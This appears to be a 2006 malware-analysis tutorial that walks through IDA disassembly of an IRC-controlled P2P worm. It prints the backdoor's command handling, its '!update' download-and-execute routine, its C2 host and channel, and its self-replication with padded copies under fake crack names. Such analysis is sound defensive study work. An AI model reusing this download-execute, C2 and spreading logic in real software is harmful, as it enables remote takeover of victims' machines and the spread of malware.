The function uses RtlZeroMemory to set the content of the target memory to zero. The second argument is indeed used as the size for the block. Afterwards a pseudo-random number is created. The subroutine calculates the remainder of the random number(when divided by 6) using the "idiv"-instruction and adds 4 to it. So this results in a number in the range from 4 to 9. This number is compared to the size of memory block, and if larger, it's replaced by (size - 1). So the created number seems to be the length of the string to be created. This code is followed by a loop which repeatedly creates pseudo-random numbers, takes the remainder(when divided by 0x1A), adds 0x61 and stores them in the memory. Effectively this loop creates lowercase ascii characters, since 0x61 is the ascii code of 'a' and 0x1A the length of the latin alphabet, what results in a string with the length from 4-9 being filled with random lowercase characters. So the malware connects to a hard coded irc-server using a random nick and user name. After it has logged in, a loop for receiving data from the server follows:

Code:
.text:00402D08                 push    100h
.text:00402D0D                 lea     eax, [ebp+String]
.text:00402D13                 push    eax
.text:00402D14                 call    RtlZeroMemory
.text:00402D19                 jmp     loc_402F09
.text:00402D1E ; ---------------------------------------------------------------------------
.text:00402D1E 
.text:00402D1E loc_402D1E:                             ; CODE XREF: sub_4029B3+56C
.text:00402D1E                 push    offset aPing    ; "PING "
.text:00402D23                 lea     eax, [ebp+String]
.text:00402D29                 push    eax
.text:00402D2A                 call    sub_40304C
.text:00402D2F                 add     esp, 8
.text:00402D32                 mov     edi, eax
.text:00402D34                 or      eax, eax
.text:00402D36                 jz      short loc_402D91
.text:00402D38                 push    offset asc_4058C1 ; ":"
.text:00402D3D                 push    edi
.text:00402D3E                 call    strtok
.text:00402D43                 push    offset asc_4058BE ; "\r\n"
.text:00402D48                 push    0
.text:00402D4A                 call    strtok
.text:00402D4F                 mov     edi, eax
.text:00402D51                 push    offset aTibicP2p3 ; "##TIBiC-P2P3##"
.text:00402D56                 push    offset aTibicP2p3 ; "##TIBiC-P2P3##"
.text:00402D5B                 push    edi
.text:00402D5C                 push    offset aPongSJoinS ; "PONG :%s\r\nJOIN %s\r\n"
.text:00402D61                 lea     eax, [ebp+String]
.text:00402D67                 push    eax
.text:00402D68                 call    wsprintfA
.text:00402D6D                 add     esp, 24h
.text:00402D70                 lea     eax, [ebp+String]
.text:00402D76                 push    eax             ; lpString
.text:00402D77                 call    lstrlenA
.text:00402D7C                 push    0               ; flags
.text:00402D7E                 push    eax             ; len
.text:00402D7F                 lea     edx, [ebp+String]
.text:00402D85                 push    edx             ; buf
.text:00402D86                 push    esi             ; s
.text:00402D87                 call    send

If the "PING"-response is received(after the worm logged in), the malware joins the channel "##TIBiC-P2P3##", which is the other checked string. Some other comparisons with the received response are done after that:

Code:
.text:00402D91                 push    offset aPrivmsg ; "PRIVMSG "
.text:00402D96                 lea     eax, [ebp+String]
.text:00402D9C                 push    eax
.text:00402D9D                 call    sub_40304C
.text:00402DA2                 add     esp, 8
.text:00402DA5                 mov     edi, eax
.text:00402DA7                 or      eax, eax
.text:00402DA9                 jz      loc_402F09
.text:00402DAF                 push    offset asc_4058C1 ; ":"
.text:00402DB4                 push    edi
.text:00402DB5                 call    strstr
.text:00402DBA                 add     esp, 8
.text:00402DBD                 or      eax, eax
.text:00402DBF                 jz      loc_402F09
.text:00402DC5                 push    offset asc_4058C1 ; ":"
.text:00402DCA                 push    edi
.text:00402DCB                 call    strtok
.text:00402DD0                 push    offset asc_4058BE ; "\r\n"
.text:00402DD5                 push    0
.text:00402DD7                 call    strtok
.text:00402DDC                 add     esp, 10h
.text:00402DDF                 mov     edi, eax
.text:00402DE1                 cmp     byte ptr [edi], 21h
.text:00402DE4                 jnz     loc_402F09

This part of the code compares the received command with "PRIVMSG" which is sent went the client receives a private message. The response is then searched for colons to find the beginning of the text of the message. The first char is compared to 0x21 which represents the '!' sign. So the exclamation mark seems to indicate the beginning of a special backdoor-command. As we will see, the malware knows only two commands: "!exit" and "!update". Obviously the "!exit" command ends the malware process until the infected machine is restarted. The update command leads to the execution of this code:

Code:
.text:00402E24                 push    0FFh            ; uSize
.text:00402E29                 lea     eax, [ebp+buf]
.text:00402E2F                 push    eax             ; lpBuffer
.text:00402E30                 call    GetSystemDirectoryA
.text:00402E35                 mov     [ebp+var_4C0], esi
.text:00402E3B                 and     [ebp+var_4BC], 0
.text:00402E42                 push    edi
.text:00402E43                 push    offset aS       ; "%s"
.text:00402E48                 lea     eax, [ebp+Parameter]
.text:00402E4E                 push    eax
.text:00402E4F                 call    wsprintfA
.text:00402E54                 push    100h
.text:00402E59                 lea     eax, [ebp+var_314]
.text:00402E5F                 push    eax
.text:00402E60                 call    sub_40129C
.text:00402E65                 push    eax
.text:00402E66                 lea     edx, [ebp+buf]
.text:00402E6C                 push    edx
.text:00402E6D                 push    offset aSS_exe  ; "%s\\%s.exe"
.text:00402E72                 lea     edx, [ebp+var_5C0]
.text:00402E78                 push    edx
.text:00402E79                 call    wsprintfA
.text:00402E7E                 add     esp, 24h
.text:00402E81                 lea     eax, [ebp+ThreadId]
.text:00402E87                 push    eax             ; lpThreadId
.text:00402E88                 push    0               ; dwCreationFlags
.text:00402E8A                 lea     eax, [ebp+Parameter]
.text:00402E90                 push    eax             ; lpParameter
.text:00402E91                 push    offset sub_401347 ; lpStartAddress
.text:00402E96                 push    0               ; dwStackSize
.text:00402E98                 push    0               ; lpThreadAttributes
.text:00402E9A                 call    CreateThread
.text:00402E9F                 jmp     short loc_402EA8

Again the function to create a random name is called and the resulting string is then passed to wsprintfA which formats a string in the following format: "$system_directory\$random.exe". So the !update command somehow makes the malware create an executable, probably downloaded from the web. Subsequently a new thread is created, with the start address of another function(not a full listing):

Code:
.text:00401366                 mov     dword ptr [ebx+204h], 1



.text:00401370 push 0



.text:00401372 push 0



.text:00401374 push 0



.text:00401376 push 0



.text:00401378 push offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible)"



.text:0040137D call InternetOpenA



.text:00401382 mov [ebp+var_418], eax



.text:00401388 push 0



.text:0040138A push 0



.text:0040138C push 0



.text:0040138E push 0



.text:00401390 lea eax, [ebp+var_414]



.text:00401396 push eax



.text:00401397 push [ebp+var_418]



.text:0040139D call InternetOpenUrlA



.text:004013A2 mov ebx, eax



.text:004013A4 or ebx, ebx



.text:004013A6 jz loc_4014D0



.text:004013AC push 0 ; hTemplateFile



.text:004013AE push 0 ; dwFlagsAndAttributes



.text:004013B0 push 2 ; dwCreationDisposition



.text:004013B2 push 0 ; lpSecurityAttributes



.text:004013B4 push 0 ; dwShareMode



.text:004013B6 push 40000000h ; dwDesiredAccess



.text:004013BB lea eax, [ebp+File]



.text:004013C1 push eax ; lpFileName



.text:004013C2 call CreateFileA



.text:004013C7 mov [ebp+hObject], eax



.text:004013CD cmp eax, 1



.text:004013D0 jnb short loc_401414



.text:004013D2 push offset aTibicP2p3 ; "##TIBiC-P2P3##"



.text:004013D7 push offset aPrivmsgSUpdate ; "PRIVMSG %s :Update error: File write er"...



.text:004013DC lea eax, [ebp+buf]



.text:004013E2 push eax



.text:004013E3 call wsprintfA



.text:004013E8 add esp, 0Ch



.text:004013EB lea eax, [ebp+buf]



.text:004013F1 push eax ; lpString



.text:004013F2 call lstrlenA



.text:004013F7 push 0 ; flags



.text:004013F9 push eax ; len



.text:004013FA lea edi, [ebp+buf]



.text:00401400 push edi ; buf



.text:00401401 push [ebp+s] ; s



.text:00401407 call send



.text:0040140C xor eax, eax



.text:0040140E inc eax



.text:0040140F jmp loc_4014D8



.text:00401414 ; ---------------------------------------------------------------------------



.text:00401414



.text:00401414 loc_401414: ; CODE XREF: sub_401347+89



.text:00401414 ; sub_401347+124



.text:00401414 push 200h



.text:00401419 push 0



.text:0040141B lea eax, [ebp+Buffer]



.text:00401421 push eax



.text:00401422 call memset



.text:00401427 add esp, 0Ch



.text:0040142A lea eax, [ebp+nNumberOfBytesToWrite]



.text:00401430 push eax



.text:00401431 push 200h



.text:00401436 lea eax, [ebp+Buffer]



.text:0040143C push eax



.text:0040143D push ebx



.text:0040143E call InternetReadFile



.text:00401443 push 0 ; lpOverlapped



.text:00401445 lea eax, [ebp+NumberOfBytesWritten]



.text:0040144B push eax ; lpNumberOfBytesWritten



.text:0040144C push [ebp+nNumberOfBytesToWrite] ; nNumberOfBytesToWrite



.text:00401452 lea eax, [ebp+Buffer]



.text:00401458 push eax ; lpBuffer



.text:00401459 push [ebp+hObject] ; hFile



.text:0040145F call WriteFile



.text:00401464 cmp [ebp+nNumberOfBytesToWrite], 0



.text:0040146B jnz short loc_401414



.text:0040146D push [ebp+hObject] ; hObject



.text:00401473 call CloseHandle



.text:00401478 push 5 ; nShowCmd



.text:0040147A push 0 ; lpDirectory



.text:0040147C push 0 ; lpParameters



.text:0040147E lea eax, [ebp+File]



.text:00401484 push eax ; lpFile



.text:00401485 push offset aOpen ; lpOperation



.text:0040148A push 0 ; hwnd



text:0040148C call ShellExecuteA

The code of this function is quite clear. The thread downloads the file from the address passed as a parameter(the text that follows "!update ") using the "WinInet"-API, writes it to the disk and executes it. On error, an error message is sent to the irc-user that issued the "!update" command.
The backdoor offers the attacker the possibility to run arbitrary code on the infected system with the rights of the logged in user. This gives him almost full control over the system since too many Windows users work under an account with administrative rights.
If you want to check this malware-behaviour yourself on your virtual machine, set up an irc-daemon, infect the virtual environment and edit the system32\drivers\etc\hosts in the way, that "tbc3.hanged.tk" is resolved as the address of the machine running the irc-daemon. Now enter the channel with another irc-client and try sending "!exit" or "!update" to the malware(if you want to test the "!update" command without connecting the infected system to the internet you should set up a http-daemon too).

Replication

We have now dissected and analyzed almost the complete executable, only one part is left: The thread that was created before the malware connected to the irc-server. This is the thread's code:

Code:
.text:0040299B loc_40299B:                             ; CODE XREF: StartAddress+12
.text:0040299B                 call    sub_4027F2
.text:004029A0                 push    0EA60h          ; dwMilliseconds
.text:004029A5                 call    Sleep
.text:004029AA                 jmp     short loc_40299B
.text:004029AA StartAddress    endp

So this thread continuously calls a function and waits 1 minute. Let's analyze the function which is repeatedly called:

Code:
.text:0040283B                 push    eax             ; lpSubKey
.text:0040283C                 push    80000001h       ; hKey
.text:00402841                 call    RegOpenKeyExA
.text:00402846                 or      eax, eax
.text:00402848                 jnz     short loc_402851
.text:0040284A                 mov     [ebp+var_8], 1
...
.text:00402864                 push    offset aSoftwareImeshC ; lpSubKey
.text:00402869                 push    80000001h       ; hKey
.text:0040286E                 call    RegOpenKeyExA
.text:00402873                 or      eax, eax
.text:00402875                 jnz     short loc_40287A
.text:00402877                 xor     edi, edi
.text:00402879                 inc     edi
...
.text:0040288D                 push    offset aSoftwareMorphe ; lpSubKey
.text:00402892                 push    80000002h       ; hKey
.text:00402897                 call    RegOpenKeyExA
.text:0040289C                 or      eax, eax
.text:0040289E                 jnz     short loc_4028A3
.text:004028A0                 xor     esi, esi
.text:004028A2                 inc     esi
...

Some other calls to RegOpenKeyExA follow, but I think it's not necessary to list them here. This code excerpt checks for the existence of registry keys belonging to various file sharing software. If they exist, a specific variable or register is set to one. Some code later, these register/variables are checked:

Code:
.text:0040292E                 cmp     [ebp+var_8], 1
.text:00402932                 jz      short loc_40294F
.text:00402934                 cmp     edi, 1
.text:00402937                 jz      short loc_40294F
.text:00402939                 cmp     esi, 1
.text:0040293C                 jz      short loc_40294F
.text:0040293E                 cmp     ebx, 1
.text:00402941                 jz      short loc_40294F
.text:00402943                 cmp     [ebp+var_C], 1
.text:00402947                 jz      short loc_40294F
.text:00402949                 cmp     [ebp+var_10], 1
.text:0040294D                 jnz     short loc_402954
.text:0040294F 
.text:0040294F loc_40294F:                             ; CODE XREF: sub_4027F2+140
.text:0040294F                                         ; sub_4027F2+145 ...
.text:0040294F                 call    sub_4026BA
.text:00402954 
.text:00402954 loc_402954:                             ; CODE XREF: sub_4027F2+15B

So if one of the file sharing programs is installed, the program calls the function located at 0x4026BA:

Code:
.text:004026BA                 push    ebp



.text:004026BB mov ebp, esp



.text:004026BD sub esp, 400h



.text:004026C3 push ebx



.text:004026C4 push esi



.text:004026C5 push edi



.text:004026C6 push 0 ; lpModuleName



.text:004026C8 call GetModuleHandleA



.text:004026CD push 100h ; nSize



.text:004026D2 lea ebx, [ebp+Filename]



.text:004026D8 push ebx ; lpFilename



.text:004026D9 push eax ; hModule



.text:004026DA call GetModuleFileNameA



.text:004026DF push 100h ; uSize



.text:004026E4 lea eax, [ebp+Buffer]



.text:004026EA push eax ; lpBuffer



.text:004026EB call GetSystemDirectoryA



.text:004026F0 push dword_4040A4



.text:004026F6 lea eax, [ebp+Buffer]



.text:004026FC push eax



.text:004026FD push offset aSS ; "%s\\%s"



.text:00402702 lea eax, [ebp+PathName]



.text:00402708 push eax



.text:00402709 call wsprintfA



.text:0040270E add esp, 10h



.text:00402711 push 0 ; lpSecurityAttributes



.text:00402713 lea eax, [ebp+PathName]



.text:00402719 push eax ; lpPathName



.text:0040271A call CreateDirectoryA

This code again determines the system directory and the module file. The system directory is then combined with the hard coded string "msview" and passed to CreateDirectoryA which creates a subfolder of the system directory named "msview". This code is followed by two similar loops, here is the first one:

Code:
.text:0040271F                 xor     edi, edi
.text:00402721                 jmp     short loc_40277B
.text:00402723 ; ---------------------------------------------------------------------------
.text:00402723 
.text:00402723 loc_402723:                             ; CODE XREF: sub_4026BA+C9
.text:00402723                 push    dword_4041C8[edi*4]
.text:0040272A                 lea     ebx, [ebp+PathName]
.text:00402730                 push    ebx
.text:00402731                 push    offset aSS      ; "%s\\%s"
.text:00402736                 lea     ebx, [ebp+var_100]
.text:0040273C                 push    ebx
.text:0040273D                 call    wsprintfA
.text:00402742                 mov     ebx, dword_4040A8[edi*4]
.text:00402749                 shl     ebx, 0Ah
.text:0040274C                 push    ebx
.text:0040274D                 lea     ebx, [ebp+var_100]
.text:00402753                 push    ebx
.text:00402754                 lea     ebx, [ebp+Filename]
.text:0040275A                 push    ebx
.text:0040275B                 call    sub_4014DF
.text:00402760                 add     esp, 1Ch
.text:00402763                 or      eax, eax
.text:00402765                 jnz     short loc_402773
.text:00402767                 push    3E8h            ; dwMilliseconds
.text:0040276C                 call    Sleep
.text:00402771                 jmp     short loc_40277A
.text:00402773 ; ---------------------------------------------------------------------------
.text:00402773 
.text:00402773 loc_402773:                             ; CODE XREF: sub_4026BA+AB
.text:00402773                 push    1               ; dwMilliseconds
.text:00402775                 call    Sleep
.text:0040277A 
.text:0040277A loc_40277A:                             ; CODE XREF: sub_4026BA+B7
.text:0040277A                 inc     edi
.text:0040277B 
.text:0040277B loc_40277B:                             ; CODE XREF: sub_4026BA+67
.text:0040277B                 cmp     dword_4041C8[edi*4], 0
.text:00402783                 jnz     short loc_402723

This loop traverses an array of DWORDs terminated by 0. Every element of the array is a pointer to string since it's used in combination with wsprintfA to format a path name at the beginning of the loop. There is a second array of DWORDs located at 4040A8 which seems to contain numbers which are shifted by 10 bits to the left in the loop, which is equal to a multiplication by 2^10=1024. The path with string in the first array, the multiplied value from the second array and the module file name are then passed to sub_4014DF(only a small part of the function):

Code:
.text:0040156A                 push    0               ; lpFileSizeHigh



.text:0040156C push [ebp+hObject] ; hFile



.text:0040156F call GetFileSize



.text:00401574 mov [ebp+nNumberOfBytesToRead], eax



.text:00401577 call GetProcessHeap



.text:0040157C push [ebp+nNumberOfBytesToRead] ; dwBytes



.text:0040157F push 0 ; dwFlags



.text:00401581 push eax ; hHeap



.text:00401582 call HeapAlloc



.text:00401587 mov [ebp+lpMem], eax



.text:0040158A push 0 ; lpOverlapped



.text:0040158C lea eax, [ebp+NumberOfBytesRead]



.text:0040158F push eax ; lpNumberOfBytesRead



.text:00401590 push [ebp+nNumberOfBytesToRead] ; nNumberOfBytesToRead



.text:00401593 push [ebp+lpMem] ; lpBuffer



.text:00401596 push [ebp+hObject] ; hFile



.text:00401599 call ReadFile



.text:0040159E or eax, eax



.text:004015A0 jnz short loc_4015CA



.text:004015A2 call GetProcessHeap



.text:004015A7 push [ebp+lpMem] ; lpMem



.text:004015AA push 0 ; dwFlags



.text:004015AC push eax ; hHeap



.text:004015AD call HeapFree



.text:004015B2 push [ebp+hObject] ; hObject



.text:004015B5 call CloseHandle



.text:004015BA push [ebp+hFile] ; hObject



.text:004015BD call CloseHandle



.text:004015C2 xor eax, eax



.text:004015C4 inc eax



.text:004015C5 jmp loc_4016E1



.text:004015CA ; ---------------------------------------------------------------------------



.text:004015CA



.text:004015CA loc_4015CA: ; CODE XREF: sub_4014DF+C1



.text:004015CA xor ebx, ebx



.text:004015CC jmp short loc_40161E



.text:004015CE ; ---------------------------------------------------------------------------



.text:004015CE



.text:004015CE loc_4015CE: ; CODE XREF: sub_4014DF+147



.text:004015CE mov eax, [ebp+lpMem]



.text:004015D1 cmp byte ptr [eax+ebx], '-'



.text:004015D5 jnz short loc_40161D



.text:004015D7 cmp byte ptr [ebx+eax+1], '='



.text:004015DC jnz short loc_40161D



.text:004015DE cmp byte ptr [ebx+eax+2], '@'



.text:004015E3 jnz short loc_40161D



.text:004015E5 cmp byte ptr [ebx+eax+3], '#'



.text:004015EA jnz short loc_40161D



.text:004015EC cmp byte ptr [ebx+eax+4], 'E'



.text:004015F1 jnz short loc_40161D



.text:004015F3 cmp byte ptr [ebx+eax+5], 'O'



.text:004015F8 jnz short loc_40161D



.text:004015FA cmp byte ptr [ebx+eax+6], 'F'



.text:004015FF jnz short loc_40161D



.text:00401601 cmp byte ptr [ebx+eax+7], '#'



.text:00401606 jnz short loc_40161D



.text:00401608 cmp byte ptr [ebx+eax+8], '@'



.text:0040160D jnz short loc_40161D



.text:0040160F cmp byte ptr [ebx+eax+9], '='



.text:00401614 jnz short loc_40161D



.text:00401616 cmp byte ptr [ebx+eax+0Ah], '-'



.text:0040161B jz short loc_401628



.text:0040161D



.text:0040161D loc_40161D: ; CODE XREF: sub_4014DF+F6



.text:0040161D ; sub_4014DF+FD ...



.text:0040161D inc ebx



.text:0040161E



.text:0040161E loc_40161E: ; CODE XREF: sub_4014DF+ED



.text:0040161E mov eax, ebx



.text:00401620 add eax, 0Bh



.text:00401623 cmp eax, [ebp+nNumberOfBytesToRead]



.text:00401626 jb short loc_4015CE



.text:00401628



.text:00401628 loc_401628: ; CODE XREF: sub_4014DF+13C



.text:00401628 push 0 ; lpOverlapped



.text:0040162A lea eax, [ebp+NumberOfBytesWritten]



.text:0040162D push eax ; lpNumberOfBytesWritten



.text:0040162E push ebx ; nNumberOfBytesToWrite



.text:0040162F push [ebp+lpMem] ; lpBuffer



.text:00401632 push [ebp+hFile] ; hFile



.text:00401635 call WriteFile

This code completely reads a opened file, which is the image of the process on disk. After that a loop follows, which searches the file contents which were just read for the pattern "-=@#EOF#@=-" and writes the contents of the file until this signature is found to a second, newly created, file. This mechanism is used for the worm to produce replicas with different file sizes. The "-=@#EOF#@=-" signature is used as a pattern to indicate the end of the "real" executable. After that an additional amount of zeros is written to make the filesize of the new copy differ:

Code:
.text:00401678                 push    [ebp+nNumberOfBytesToWrite] ; dwBytes



.text:0040167B push 0 ; dwFlags



.text:0040167D push eax ; hHeap



.text:0040167E call HeapAlloc



.text:00401683 mov [ebp+lpMem], eax



.text:00401686 push [ebp+nNumberOfBytesToWrite]



.text:00401689 push eax



.text:0040168A call RtlZeroMemory



.text:0040168F lea eax, [ebp+Buffer]



.text:00401692 push eax ; lpString



.text:00401693 call lstrlenA



.text:00401698 push 0 ; lpOverlapped



.text:0040169A lea edi, [ebp+NumberOfBytesWritten]



.text:0040169D push edi ; lpNumberOfBytesWritten



.text:0040169E push eax ; nNumberOfBytesToWrite



.text:0040169F lea edi, [ebp+Buffer]



.text:004016A2 push edi ; lpBuffer



.text:004016A3 push [ebp+hFile] ; hFile



.text:004016A6 call WriteFile



.text:004016AB push 0 ; lpOverlapped



.text:004016AD lea eax, [ebp+NumberOfBytesWritten]



.text:004016B0 push eax ; lpNumberOfBytesWritten



.text:004016B1 push [ebp+nNumberOfBytesToWrite] ; nNumberOfBytesToWrite



.text:004016B4 push [ebp+lpMem] ; lpBuffer



.text:004016B7 push [ebp+hFile] ; hFile



.text:004016BA call WriteFile

The amount of zeros to be written was given as an argument. So the two tables used in the replication loop denote the filenames and the sizes to add to the file in kilobytes(the second loop in the replication-procedure is similar). After replicating itself when a file sharing application is found, some other actions are done by the worm:

Code:
.text:00402954 loc_402954:                             ; CODE XREF: sub_4027F2+15B
.text:00402954                 cmp     [ebp+var_8], 1
.text:00402958                 jnz     short loc_40295F
.text:0040295A                 call    sub_4016E6
.text:0040295F 
.text:0040295F loc_40295F:                             ; CODE XREF: sub_4027F2+166
.text:0040295F                 cmp     edi, 1
.text:00402962                 jnz     short loc_402969
.text:00402964                 call    sub_401D2F
.text:00402969 
.text:00402969 loc_402969:                             ; CODE XREF: sub_4027F2+170
.text:00402969                 cmp     esi, 1
.text:0040296C                 jnz     short loc_402973
.text:0040296E                 call    sub_401EB9
.text:00402973 
.text:00402973 loc_402973:                             ; CODE XREF: sub_4027F2+17A
.text:00402973                 cmp     ebx, 1
.text:00402976                 jnz     short loc_40297D
.text:00402978                 call    sub_4020E7
.text:0040297D 
.text:0040297D loc_40297D:                             ; CODE XREF: sub_4027F2+184
.text:0040297D                 cmp     [ebp+var_C], 1
.text:00402981                 jnz     short loc_402988
.text:00402983                 call    sub_4022FB
.text:00402988 
.text:00402988 loc_402988:                             ; CODE XREF: sub_4027F2+18F
.text:00402988                 cmp     [ebp+var_10], 1
.text:0040298C                 jnz     short loc_402993
.text:0040298E                 call    sub_4024E2
.text:00402993 

Now a different function is called for every different file sharing software. They are all not very interesting and just change some config files/registry settings, i.e. to add the system32\msview-directory, where the malware placed it's copies, to the list of shared folders or to speed up the spreading process by changing some upload settings.

Summary

So, after this analysis, we have a complete knowledge of what the malware does(without even running the binary). Here is a summary of what we found out:

  • Copy itself into the system directory under the name "svcnet.exe"
  • Create autostart entries("Shellapi32") under HKLM and HKCU\Software\Microsoft\Windows\CurrentVersion\Run
  • Connect to the irc-server "tbc3.hanged.tk", join the channel "##TIBiC-P2P3##" and let the attacker(s) run arbitrary code under the rights of the logged on user.
  • Check for presence of file sharing software like Emule,Kazaa,Morpheus or DC++
  • If a software is found, the worm creates the "msview"-subfolder in the system directory and copies itself to it under various file names like "WinRAR 3.x Crack.exe" or similar using different file sizes, by appending zeros to the copy.
  • Modify the settings of the found file sharing applications to include "msview" to the shared folders and to speed up uploading.
  • The "real" filesize(in bytes) is 0x8C20(35872)

It might seem, that you could disinfect a system compromised by this malware by deleting the autostart entries and removing the created files, but you don't know, which files have been executed by an attacker using the installed backdoor. For this reason, a system compromised worm is not to be trusted and the only clean solution is to completely rebuild the system. Any data that was accessible to this system is not to be trusted, for you can't know what other malicious code was run.

End

If you have feedback, suggestions and/or (constructive) criticism, send it to lesco[at]gmx[dot]de

Document history

  • Updated 24.10.2006: Fixed some mistakes, thanks to nait for reporting them.
  • Updated 25.10.2006: Fixed a lot of other mistakes and made some design changes, thanks to morpheus, DarkTom and parvus for corrections and suggestions.
  • Updated 06.11.2006: Fixed some other spelling mistakes, thanks to CryptoCrack